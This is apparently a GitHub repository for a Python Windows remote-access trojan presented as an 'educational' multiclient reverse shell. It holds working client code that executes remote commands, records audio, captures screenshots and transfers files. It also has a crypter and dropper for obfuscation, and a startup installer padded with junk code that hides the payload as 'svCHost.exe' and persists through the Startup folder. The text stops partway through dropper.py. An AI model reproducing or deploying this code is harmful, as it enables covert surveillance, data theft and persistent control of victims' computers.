├── .gitignore ├── Destroy └── self_destruction.py ├── HackthePlanet.py ├── README.md ├── Run_at_Startup ├── client_payload.py └── run_at_startup.py ├── client └── client.py ├── crypter └── crypter.py ├── dropper └── dropper.py ├── requirements.txt └── server └── server.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /Destroy/self_destruction.py: -------------------------------------------------------------------------------- 1 | import os,subprocess 2 | import re 3 | homedir = os.path.expanduser("~") 4 | name = homedir.split("\\") 5 | username = name[len(name)-1] 6 | os.chdir("C:\\Users\\"+username+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") 7 | os.remove("Programs\\Startup\\svCHost.lnk") 8 | proc = subprocess.Popen("tasklist | findstr svCHost.exe", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 9 | taskl = proc.stdout.read() + proc.stderr.read() 10 | PIDs = taskl.decode("UTF-8").split("\n") 11 | for PID in PIDs: 12 | try: 13 | kill = re.findall(r"\d+",PID)[0] 14 | os.system("taskkill /F /PID "+kill) 15 | except Exception as e: 16 | pass 17 | try: 18 | os.remove("C:\\Users\\"+username+"\\Appdata\\local\\Microsoft\\svCHost.exe") 19 | except: 20 | os.remove("C:\\Users\\"+username+"\\Appdata\\local\\Microsoft\\Office\\svCHost.exe") -------------------------------------------------------------------------------- /HackthePlanet.py: -------------------------------------------------------------------------------- 1 | import os 2 | import shutil 3 | os.chdir("crypter") 4 | os.system("python crypter.py ..\\Run_at_Startup\\client_payload.py") 5 | payload = open('encrpted_payload.txt','r').read() 6 | os.remove('encrpted_payload.txt') 7 | os.system("python crypter.py ..\\Run_at_Startup\\run_at_startup.py") 8 | copy_payload = open('encrpted_payload.txt','r').read() 9 | os.remove('encrpted_payload.txt') 10 | 11 | f = open('..\\dropper\\dropper.py','r') 12 | code = f.readlines() 13 | f.close() 14 | os.chdir("..\dropper") 15 | fp = open('svCHost.py','w') 16 | for line in code: 17 | if('data =b\'' in line): 18 | fp.writelines('data =b\''+ payload+'\''+'\n') 19 | else: 20 | fp.writelines(line) 21 | fp.close() 22 | fp = open('copy_.py','w') 23 | for line in code: 24 | if('data =b\'' in line): 25 | fp.writelines('data =b\''+ copy_payload+'\''+'\n') 26 | else: 27 | fp.writelines(line) 28 | fp.close() 29 | os.system('pyinstaller --noconfirm --onefile --windowed "{0}\copy_.py"'.format(os.getcwd())) 30 | os.system('pyinstaller --noconfirm --onefile --windowed "{0}\svCHost.py"'.format(os.getcwd())) 31 | os.system('move dist\copy_.exe ..\copy_.exe') 32 | os.system('move dist\svCHost.exe ..\svCHost.exe') 33 | shutil.rmtree('dist') 34 | shutil.rmtree('build') 35 | os.remove('copy_.spec') 36 | os.remove('svCHost.spec') 37 | os.remove('copy_.py') 38 | os.remove('svCHost.py') 39 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Disclaimer 2 | 3 | This is just for educational purpose only.This reverse shell should only be used in the lawful, remote administration of authorized systems. Accessing a computer network without authorization or permission is illegal.Do not attempt to violate the law with anything contained here.We will not be responsible for your any illegal actions. 4 | *** 5 | # Multiclient-Reverse-shell 6 | Reverse shell using socket programming in python. 7 | With features like sound recording, screenshot,upload and download files. 8 | *** 9 | # Prerequisite 10 | * python 3.7.x 11 | *** 12 | # How to Use 13 | 14 | To use this reverse shell, two scripts need to be running 15 | 16 | * **server/server.py** - runs on server and waits for clients to connect.(listens on 4444 port) 17 | * **client/client.py** - connects to a remote server. 18 | 19 | *** 20 | 21 | ## Server 22 | 23 | To set up server script, simply run **server.py**.\ 24 | `python server.py`\ 25 | You will get an interactive prompt.\ 26 | To list all current connections:\ 27 | `shell> list`\ 28 | To select a target from the list of clients:\ 29 | `shell> select 0` 30 | 31 | *** 32 | 33 | ## Client 34 | 35 | In **client.py** , simply run or change the ip address of the server in the client.py file. 36 | `python client.py` 37 | *** 38 | ## For obfuscation 39 | $ cd crypter\ 40 | $ python crypter.py ../client/client.py \ 41 | which will create a encrypted payload using fernet encryption method.\ 42 | $ type encrypted_payload.txt (copy this) \ 43 | To execute encrypted payload use dropper.py.\ 44 | change the value of data variable in dropper.py file with the encrypted_payload.txt content.\ 45 | Than run:\ 46 | $python dropper.py 47 | *** 48 | ## Create Exe file. 49 | To Create exe file of client.py run auto_py_to_exe command in terminal. 50 | *** 51 | ## To run at startup (Windows os) 52 | $copy Run_at_Startup/run_at_startup.py Run_at_Startup/copy.py\ 53 | $copy Run_at_Startup/client_payload.py Run_at_Startup/svCHost.py\ 54 | $cd crypter\ 55 | $python crypter.py ../Run_at_Startup/copy.py\ 56 | which will create a encrypted_payload.txt.(copy its content)\ 57 | change the value of data variable in dropper/dropper.py file with the encrypted_payload.txt content.\ 58 | $copy dropper.py copy.py\ 59 | And than create its exe\ 60 | $python crypter.py ../Run_at_Startup/svCHost.py\ 61 | which will create a encrypted_payload.txt (copy its content).\ 62 | change the value of data variable in dropper/dropper.py file with the encrypted_payload.txt content.\ 63 | $copy dropper.py svCHost.py\ 64 | And than create its exe. 65 | 66 | To put both the exe at some location and just run copy.exe to it will copy the svCHost.exe in C:\Users\\AppData\Local\Microsoft or C:\Users\\AppData\Local\Microsoft\office and creates its shortcut in startup folder. 67 | *** 68 | # Pyaudio error 69 | try this:\ 70 | $pipwin install pyaudio\ 71 | or\ 72 | refer to this:https://stackoverflow.com/questions/52283840/i-cant-install-pyaudio-on-windows-how-to-solve-error-microsoft-visual-c-14 73 | -------------------------------------------------------------------------------- /Run_at_Startup/client_payload.py: -------------------------------------------------------------------------------- 1 | class Client(object): 2 | def __init__(self): 3 | self.serverHost = '127.0.0.1' 4 | self.serverPort = 4444 5 | self.socket = None 6 | def register_signal_handler(self): 7 | signal.signal(signal.SIGINT, self.quit_gracefully) 8 | signal.signal(signal.SIGTERM, self.quit_gracefully) 9 | return 10 | def quit_gracefully(self, signal=None, frame=None): 11 | if self.socket: 12 | try: 13 | self.socket.shutdown(2) 14 | self.socket.close() 15 | except Exception as e: 16 | pass 17 | sys.exit(0) 18 | return 19 | def socket_create(self): 20 | """ Create a socket """ 21 | try: 22 | self.socket = socket.socket() 23 | except socket.error as e: 24 | pass 25 | return 26 | return 27 | def socket_connect(self): 28 | """ Connect to a remote socket """ 29 | try: 30 | self.socket.connect((self.serverHost, self.serverPort)) 31 | except Exception as e: 32 | time.sleep(5) 33 | raise 34 | try: 35 | self.socket.send(str.encode(socket.gethostname())) 36 | except Exception as e: 37 | raise 38 | return 39 | def print_output(self, output_str): 40 | """ Prints command output """ 41 | sent_message = str.encode(output_str + str(os.getcwd()) + '> ') 42 | self.socket.send(struct.pack('>I', len(sent_message)) + sent_message) 43 | return 44 | def discardAll(self, s): 45 | """ Helper function specially made for download 46 | Enjoy Mother Fucker""" 47 | chunk_bitch = conn.recv(len("File_NotFound")) 48 | if(chunk_bitch == "File_NotFound".encode()): 49 | time.sleep(1) 50 | print(self.socket.send("ok".encode())) 51 | return 52 | else: 53 | print("2") 54 | while True: 55 | if chunk_bitch[-4:] == "sent".encode(): 56 | break 57 | chunk_bitch = s.recv(1024) 58 | time.sleep(2) 59 | self.socket.send("ok".encode()) 60 | return 61 | def receive_commands(self): 62 | """ Receive commands from remote server and run on local machine """ 63 | try: 64 | self.socket.recv(10) 65 | except Exception as e: 66 | #print('Could not start communication with server: %s\n' %str(e)) 67 | return 68 | cwd = str.encode(str(os.getcwd()) + '> ') 69 | self.socket.send(struct.pack('>I', len(cwd)) + cwd) 70 | while True: 71 | output_str = None 72 | data = self.socket.recv(20480) 73 | if data == b'': 74 | pass 75 | elif data[:2].decode("utf-8") == 'cd': 76 | directory = data[3:].decode("utf-8") 77 | try: 78 | os.chdir(directory.strip()) 79 | except Exception as e: 80 | output_str = "" 81 | else: 82 | output_str = "" 83 | elif data[:].decode("utf-8") == 'quit': 84 | self.socket.close() 85 | time.sleep(10) 86 | break 87 | elif len(data) > 0: 88 | if data.decode("utf-8").split(" ")[0].rstrip() == "record": 89 | CHUNK = 1024 90 | FORMAT = pyaudio.paInt16 91 | CHANNELS = 2 92 | RATE = 44100 93 | try: 94 | RECORD_SECONDS = int(data.decode("utf-8").split(" ")[2].rstrip()) 95 | except Exception as e: 96 | RECORD_SECONDS = 20 97 | pass 98 | p = pyaudio.PyAudio() 99 | stream = p.open(format=FORMAT, 100 | channels=CHANNELS, 101 | rate=RATE, 102 | input=True, 103 | frames_per_buffer=CHUNK) 104 | self.socket.send("recording".encode()) 105 | for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)): 106 | data = stream.read(CHUNK) 107 | self.socket.send(data) 108 | self.socket.send("done_recording".encode()) 109 | stream.stop_stream() 110 | stream.close() 111 | p.terminate() 112 | self.socket.recv(2) 113 | time.sleep(2) 114 | output_str = "" 115 | elif data.decode("utf-8").split(" ")[0].rstrip() == "screenshot": 116 | pyautogui.screenshot(str(os.getcwd())+"\\"+str(data.decode("utf-8").split(" ")[1].rstrip())+".png") 117 | f = open (str(data.decode("utf-8").split(" ")[1].rstrip())+".png", "rb") 118 | l = os.path.getsize(str(data.decode("utf-8").split(" ")[1].rstrip())+".png") 119 | m = f.read(l) 120 | self.socket.send("sending".encode()) 121 | time.sleep(2) 122 | self.socket.sendall(m+"sent".encode()) 123 | self.socket.recv(2) 124 | f.close() 125 | os.remove(data.decode("utf-8").split(" ")[1].rstrip()+".png") 126 | time.sleep(2) 127 | output_str = "" 128 | elif data.decode("utf-8").split(" ")[0] == "download": 129 | try: 130 | f = open (str(data.decode("utf-8").split(" ")[1].rstrip()), "rb") 131 | l = os.path.getsize(str(data.decode("utf-8").split(" ")[1].rstrip())) 132 | m = f.read(l) 133 | time.sleep(2) 134 | self.socket.sendall(m+"sent".encode()) 135 | f.close() 136 | self.socket.recv(2) 137 | time.sleep(2) 138 | output_str ="" 139 | except Exception as e: 140 | time.sleep(2) 141 | self.socket.send("File_NotFound".encode()) 142 | self.socket.recv(2) 143 | time.sleep(2) 144 | output_str = "Nothing Downloaded\n" 145 | elif data.decode("utf-8").split(" ")[0] == "upload": 146 | try: 147 | f = open(str(data.decode("utf-8").split(" ")[2].rstrip()),'wb') 148 | flag = False 149 | text = None 150 | while True: 151 | m = self.socket.recv(len("File_NotFound")) 152 | if( m == "File_NotFound".encode()): 153 | f.close() 154 | os.remove(str(data.decode("utf-8").split(" ")[2].rstrip())) 155 | flag = True 156 | time.sleep(1) 157 | self.socket.send("ok".encode()) 158 | break 159 | text = m 160 | if m: 161 | while m: 162 | if(text[-4:] == 'sent'.encode()): 163 | text = text[:-4] 164 | break 165 | m = self.socket.recv(1024) 166 | text += m 167 | 168 | break 169 | else: 170 | break 171 | if flag: 172 | self.print_output("") 173 | continue 174 | f.write(text) 175 | f.close() 176 | self.socket.send("ok".encode()) 177 | time.sleep(2) 178 | output_str ="" 179 | except Exception as e: 180 | self.discardAll(self.socket) 181 | time.sleep(2) 182 | output_str = "Noting uploaded\n" 183 | else: 184 | try: 185 | cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, 186 | stderr=subprocess.PIPE, stdin=subprocess.PIPE) 187 | output_bytes = cmd.stdout.read() + cmd.stderr.read() 188 | output_str = output_bytes.decode("utf-8", errors="replace") 189 | except Exception as e: 190 | output_str = "Command execution unsuccessful: %s\n" %str(e) 191 | try: 192 | self.print_output(output_str) 193 | except Exception as e: 194 | pass 195 | self.socket.close() 196 | return 197 | 198 | def main(): 199 | Main_Path = os.getcwd() 200 | split_Path = Main_Path.split("\\") 201 | if(split_Path[len(split_Path)-1] == "Office" or split_Path[len(split_Path)-1] == "Startup" or split_Path[len(split_Path)-1] == "Microsoft"): 202 | client = Client() 203 | client.register_signal_handler() 204 | client.socket_create() 205 | while True: 206 | try: 207 | client.socket_connect() 208 | except Exception as e: 209 | time.sleep(5) 210 | else: 211 | break 212 | try: 213 | client.receive_commands() 214 | except Exception as e: 215 | pass 216 | client.socket.close() 217 | return 218 | else: 219 | client = Client() 220 | client.register_signal_handler() 221 | client.socket_create() 222 | while True: 223 | try: 224 | client.socket_connect() 225 | except Exception as e: 226 | time.sleep(5) 227 | else: 228 | break 229 | try: 230 | client.receive_commands() 231 | except Exception as e: 232 | pass 233 | client.socket.close() 234 | return 235 | 236 | 237 | if __name__ == '__main__': 238 | while True: 239 | main() 240 | -------------------------------------------------------------------------------- /Run_at_Startup/run_at_startup.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | username = "" 4 | pwd = os.getcwd() 5 | flag = 0 6 | num = 33054 7 | # initialize sum 8 | Arm=True 9 | sum = 0 10 | # find the sum of the cube of each digit 11 | temp = num 12 | while temp > 0: 13 | digit = temp % 10 14 | sum += digit ** 3 15 | temp //= 10 16 | # display the result 17 | if num == sum: 18 | Arm= True 19 | else: 20 | Arm=False 21 | homedir = os.path.expanduser("~") 22 | name = homedir.split("\\") 23 | num = 3306 24 | # initialize sum 25 | Arm=True 26 | sum = 0 27 | # find the sum of the cube of each digit 28 | temp = num 29 | while temp > 0: 30 | digit = temp % 10 31 | sum += digit ** 3 32 | temp //= 10 33 | # display the result 34 | if num == sum: 35 | Arm= True 36 | else: 37 | Arm=False 38 | username = name[len(name)-1] 39 | num = 454354 40 | prime = True 41 | if num > 1: 42 | for i in range(2, num//2): 43 | if (num % i) == 0 : 44 | prime = False 45 | break 46 | else: 47 | prime = True 48 | else: 49 | prime = True 50 | 51 | try: 52 | 53 | num = 132132 54 | temp = num 55 | while temp > 0: 56 | digit = temp % 10 57 | sum += digit ** 3 58 | temp //= 10 59 | os.system("copy svCHost.exe C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft\\Office") 60 | # display the result 61 | if num == sum: 62 | Arm= True 63 | else: 64 | Arm=False 65 | os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft\\Office") 66 | os.system("attrib +h svCHost.exe") 67 | flag = 1 68 | except Exception as e: 69 | num = 2452345 70 | # initialize sum 71 | Arm=True 72 | sum = 0 73 | # find the sum of the cube of each digit 74 | temp = num 75 | while temp > 0: 76 | digit = temp % 10 77 | sum += digit ** 3 78 | temp //= 10 79 | os.system("copy svCHost.exe C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft") 80 | if num == sum: 81 | Arm= True 82 | else: 83 | Arm=False 84 | os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft") 85 | os.system("attrib +h svCHost.exe") 86 | flag = 2 87 | num = 432341 88 | prime = True 89 | if num > 1: 90 | for i in range(2, num//2): 91 | if (num % i) == 0 : 92 | prime = False 93 | break 94 | 95 | else: 96 | prime = True 97 | else: 98 | prime = False 99 | f = open("short.bat",'w') 100 | f.write("""@echo off 101 | echo Set oWS = WScript.CreateObject("WScript.Shell") > CreateShortcut.vbs""") 102 | num = 454535 103 | # initialize sum 104 | Arm=True 105 | sum = 0 106 | # find the sum of the cube of each digit 107 | temp = num 108 | while temp > 0: 109 | digit = temp % 10 110 | sum += digit ** 3 111 | temp //= 10 112 | # display the result 113 | f.write("\n") 114 | f.write("echo sLinkFile = \""+str(os.getcwd())+"\\svCHost.lnk\" >> CreateShortcut.vbs") 115 | f.write("\n") 116 | if num == sum: 117 | Arm= True 118 | else: 119 | Arm=False 120 | f.write("echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs") 121 | f.write("\n") 122 | f.write("echo oLink.TargetPath = \""+str(os.getcwd())+"\\svCHost.exe\" >> CreateShortcut.vbs") 123 | f.write("\n") 124 | num = 6878875 125 | # initialize sum 126 | Arm=True 127 | sum = 0 128 | # find the sum of the cube of each digit 129 | temp = num 130 | while temp > 0: 131 | digit = temp % 10 132 | sum += digit ** 3 133 | temp //= 10 134 | # display the result 135 | f.write("""echo oLink.Save >> CreateShortcut.vbs 136 | cscript CreateShortcut.vbs 137 | del CreateShortcut.vbs""") 138 | if num == sum: 139 | Arm= True 140 | else: 141 | Arm=False 142 | f.close() 143 | os.system("short.bat") 144 | os.remove("short.bat") 145 | num = 3534541 146 | prime = True 147 | if num > 1: 148 | for i in range(2, num//2): 149 | if (num % i) == 0 : 150 | prime = False 151 | break 152 | else: 153 | prime = True 154 | else: 155 | prime = True 156 | try: 157 | 158 | num = 324562 159 | # initialize sum 160 | Arm=True 161 | sum = 0 162 | # find the sum of the cube of each digit 163 | temp = num 164 | while temp > 0: 165 | digit = temp % 10 166 | sum += digit ** 3 167 | temp //= 10 168 | os.system("copy svCHost.lnk C:\\Users\\"+str(username)+"\\AppData\\Roaming\\Microsoft\\Windows\\\"Start Menu\"") 169 | os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") 170 | os.system("copy svCHost.lnk Programs\\Startup") 171 | if num == sum: 172 | Arm= True 173 | else: 174 | Arm=False 175 | os.remove("svCHost.lnk") 176 | os.chdir("Programs\\Startup") 177 | #os.system("attrib +h svCHost.lnk") 178 | except Exception as e: 179 | pass 180 | f1 = open("svchOst.vbs","w") 181 | num = 3306 182 | # initialize sum 183 | Arm=True 184 | sum = 0 185 | # find the sum of the cube of each digit 186 | temp = num 187 | while temp > 0: 188 | digit = temp % 10 189 | sum += digit ** 3 190 | temp //= 10 191 | f1.write("""Set WshShell = CreateObject("WScript.Shell" ) 192 | WshShell.Run chr(34) & "svCHost.lnk" & Chr(34), 0 193 | Set WshShell = Nothing """) 194 | if num == sum: 195 | Arm= True 196 | else: 197 | Arm=False 198 | f1.close() 199 | os.system("svchOst.vbs") 200 | os.remove("svchOst.vbs") 201 | prime = True 202 | num = 24311 203 | if num > 1: 204 | for i in range(2, num//2): 205 | if (num % i) == 0 : 206 | prime = False 207 | break 208 | else: 209 | prime = True 210 | else: 211 | prime = True 212 | try: 213 | os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft\\Office") 214 | os.remove("svCHost.lnk") 215 | except Exception as e: 216 | os.chdir("C:\\Users\\"+str(username)+"\\AppData\\Local\\Microsoft") 217 | os.remove("svCHost.lnk") 218 | prime = True 219 | num = 3243231 220 | 221 | if num > 1: 222 | for i in range(2, num//2): 223 | if (num % i) == 0 : 224 | prime = False 225 | break 226 | else: 227 | prime = True 228 | else: 229 | prime = True 230 | sys.exit(0) -------------------------------------------------------------------------------- /client/client.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import subprocess 4 | import time 5 | import signal 6 | import sys 7 | import struct 8 | import pyaudio 9 | import pyautogui 10 | class Client(object): 11 | def __init__(self): 12 | self.serverHost = '127.0.0.1' 13 | self.serverPort = 4444 14 | self.socket = None 15 | def register_signal_handler(self): 16 | signal.signal(signal.SIGINT, self.quit_gracefully) 17 | signal.signal(signal.SIGTERM, self.quit_gracefully) 18 | return 19 | def quit_gracefully(self, signal=None, frame=None): 20 | if self.socket: 21 | try: 22 | self.socket.shutdown(2) 23 | self.socket.close() 24 | except Exception as e: 25 | pass 26 | sys.exit(0) 27 | return 28 | def socket_create(self): 29 | """ Create a socket """ 30 | try: 31 | self.socket = socket.socket() 32 | except socket.error as e: 33 | pass 34 | return 35 | return 36 | def socket_connect(self): 37 | """ Connect to a remote socket """ 38 | try: 39 | self.socket.connect((self.serverHost, self.serverPort)) 40 | except Exception as e: 41 | time.sleep(5) 42 | raise 43 | try: 44 | self.socket.send(str.encode(socket.gethostname())) 45 | except Exception as e: 46 | raise 47 | return 48 | def print_output(self, output_str): 49 | """ Prints command output """ 50 | sent_message = str.encode(output_str + str(os.getcwd()) + '> ') 51 | self.socket.send(struct.pack('>I', len(sent_message)) + sent_message) 52 | return 53 | def discardAll(self, s): 54 | """ Helper function specially made for download 55 | Enjoy Mother Fucker""" 56 | chunk_bitch = conn.recv(len("File_NotFound")) 57 | if(chunk_bitch == "File_NotFound".encode()): 58 | time.sleep(1) 59 | print(self.socket.send("ok".encode())) 60 | return 61 | else: 62 | print("2") 63 | while True: 64 | if chunk_bitch[-4:] == "sent".encode(): 65 | break 66 | chunk_bitch = s.recv(1024) 67 | time.sleep(2) 68 | self.socket.send("ok".encode()) 69 | return 70 | def receive_commands(self): 71 | """ Receive commands from remote server and run on local machine """ 72 | try: 73 | self.socket.recv(10) 74 | except Exception as e: 75 | #print('Could not start communication with server: %s\n' %str(e)) 76 | return 77 | cwd = str.encode(str(os.getcwd()) + '> ') 78 | self.socket.send(struct.pack('>I', len(cwd)) + cwd) 79 | while True: 80 | output_str = None 81 | data = self.socket.recv(20480) 82 | if data == b'': 83 | pass 84 | elif data[:2].decode("utf-8") == 'cd': 85 | directory = data[3:].decode("utf-8") 86 | try: 87 | os.chdir(directory.strip()) 88 | except Exception as e: 89 | output_str = "" 90 | else: 91 | output_str = "" 92 | elif data[:].decode("utf-8") == 'quit': 93 | self.socket.close() 94 | time.sleep(10) 95 | break 96 | elif len(data) > 0: 97 | if data.decode("utf-8").split(" ")[0].rstrip() == "record": 98 | CHUNK = 1024 99 | FORMAT = pyaudio.paInt16 100 | CHANNELS = 2 101 | RATE = 44100 102 | try: 103 | RECORD_SECONDS = int(data.decode("utf-8").split(" ")[2].rstrip()) 104 | except Exception as e: 105 | RECORD_SECONDS = 20 106 | pass 107 | p = pyaudio.PyAudio() 108 | stream = p.open(format=FORMAT, 109 | channels=CHANNELS, 110 | rate=RATE, 111 | input=True, 112 | frames_per_buffer=CHUNK) 113 | self.socket.send("recording".encode()) 114 | for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)): 115 | data = stream.read(CHUNK) 116 | self.socket.send(data) 117 | self.socket.send("done_recording".encode()) 118 | stream.stop_stream() 119 | stream.close() 120 | p.terminate() 121 | self.socket.recv(2) 122 | time.sleep(2) 123 | output_str = "" 124 | elif data.decode("utf-8").split(" ")[0].rstrip() == "screenshot": 125 | pyautogui.screenshot(str(os.getcwd())+"\\"+str(data.decode("utf-8").split(" ")[1].rstrip())+".png") 126 | f = open (str(data.decode("utf-8").split(" ")[1].rstrip())+".png", "rb") 127 | l = os.path.getsize(str(data.decode("utf-8").split(" ")[1].rstrip())+".png") 128 | m = f.read(l) 129 | self.socket.send("sending".encode()) 130 | time.sleep(2) 131 | self.socket.sendall(m+"sent".encode()) 132 | self.socket.recv(2) 133 | f.close() 134 | os.remove(data.decode("utf-8").split(" ")[1].rstrip()+".png") 135 | time.sleep(2) 136 | output_str = "" 137 | elif data.decode("utf-8").split(" ")[0] == "download": 138 | try: 139 | f = open (str(data.decode("utf-8").split(" ")[1].rstrip()), "rb") 140 | l = os.path.getsize(str(data.decode("utf-8").split(" ")[1].rstrip())) 141 | m = f.read(l) 142 | time.sleep(2) 143 | self.socket.sendall(m+"sent".encode()) 144 | f.close() 145 | self.socket.recv(2) 146 | time.sleep(2) 147 | output_str ="" 148 | except Exception as e: 149 | time.sleep(2) 150 | self.socket.send("File_NotFound".encode()) 151 | self.socket.recv(2) 152 | time.sleep(2) 153 | output_str = "Nothing Downloaded\n" 154 | elif data.decode("utf-8").split(" ")[0] == "upload": 155 | try: 156 | f = open(str(data.decode("utf-8").split(" ")[2].rstrip()),'wb') 157 | flag = False 158 | text = None 159 | while True: 160 | m = self.socket.recv(len("File_NotFound")) 161 | if( m == "File_NotFound".encode()): 162 | f.close() 163 | os.remove(str(data.decode("utf-8").split(" ")[2].rstrip())) 164 | flag = True 165 | time.sleep(1) 166 | self.socket.send("ok".encode()) 167 | break 168 | text = m 169 | if m: 170 | while m: 171 | if(text[-4:] == 'sent'.encode()): 172 | text = text[:-4] 173 | break 174 | m = self.socket.recv(1024) 175 | text += m 176 | 177 | break 178 | else: 179 | break 180 | if flag: 181 | self.print_output("") 182 | continue 183 | f.write(text) 184 | f.close() 185 | self.socket.send("ok".encode()) 186 | time.sleep(2) 187 | output_str ="" 188 | except Exception as e: 189 | self.discardAll(self.socket) 190 | time.sleep(2) 191 | output_str = "Noting uploaded\n" 192 | else: 193 | try: 194 | cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, 195 | stderr=subprocess.PIPE, stdin=subprocess.PIPE) 196 | output_bytes = cmd.stdout.read() + cmd.stderr.read() 197 | output_str = output_bytes.decode("utf-8", errors="replace") 198 | except Exception as e: 199 | output_str = "Command execution unsuccessful: %s\n" %str(e) 200 | try: 201 | self.print_output(output_str) 202 | except Exception as e: 203 | pass 204 | self.socket.close() 205 | return 206 | 207 | def main(): 208 | Main_Path = os.getcwd() 209 | split_Path = Main_Path.split("\\") 210 | if(split_Path[len(split_Path)-1] == "Office" or split_Path[len(split_Path)-1] == "Startup" or split_Path[len(split_Path)-1] == "Microsoft"): 211 | client = Client() 212 | client.register_signal_handler() 213 | client.socket_create() 214 | while True: 215 | try: 216 | client.socket_connect() 217 | except Exception as e: 218 | time.sleep(5) 219 | else: 220 | break 221 | try: 222 | client.receive_commands() 223 | except Exception as e: 224 | pass 225 | client.socket.close() 226 | return 227 | else: 228 | client = Client() 229 | client.register_signal_handler() 230 | client.socket_create() 231 | while True: 232 | try: 233 | client.socket_connect() 234 | except Exception as e: 235 | time.sleep(5) 236 | else: 237 | break 238 | try: 239 | client.receive_commands() 240 | except Exception as e: 241 | pass 242 | client.socket.close() 243 | return 244 | 245 | 246 | if __name__ == '__main__': 247 | while True: 248 | main() -------------------------------------------------------------------------------- /crypter/crypter.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from cryptography.fernet import Fernet 3 | import sys 4 | from cryptography.hazmat.backends import default_backend 5 | from cryptography.hazmat.primitives import hashes 6 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 7 | import base64 8 | from cryptography.fernet import Fernet 9 | password_provided = "V3ryS3cur3P4ssw0rd" # This is input in the form of a string 10 | password = password_provided.encode() # Convert to type bytes 11 | salt = "SocketProgrammingisCool".encode() # CHANGE THIS - recommend using a key from os.urandom(16), must be of type bytes 12 | kdf = PBKDF2HMAC( 13 | algorithm=hashes.SHA256(), 14 | length=32, 15 | salt=salt, 16 | iterations=100000, 17 | backend=default_backend() 18 | ) 19 | key = base64.urlsafe_b64encode(kdf.derive(password)) 20 | input_file = sys.argv[1] 21 | output_file = 'payload.encrypted' 22 | with open(input_file, 'rb') as f: 23 | data = f.read() 24 | fernet = Fernet(key) 25 | encrypted = fernet.encrypt(data) 26 | payload = base64.b64encode(encrypted) 27 | with open("encrpted_payload.txt","wb") as file_to_write: 28 | file_to_write.write(payload) 29 | file_to_write.close() 30 | -------------------------------------------------------------------------------- /dropper/dropper.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.backends import default_backend 2 | from cryptography.hazmat.primitives import hashes 3 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 4 | import base64 5 | from cryptography.fernet import Fernet 6 | import os 7 | import socket 8 | import subprocess 9 | import time 10 | import signal 11 | import sys 12 | import struct 13 | import pyaudio 14 | import pyautogui 15 | 16 | data 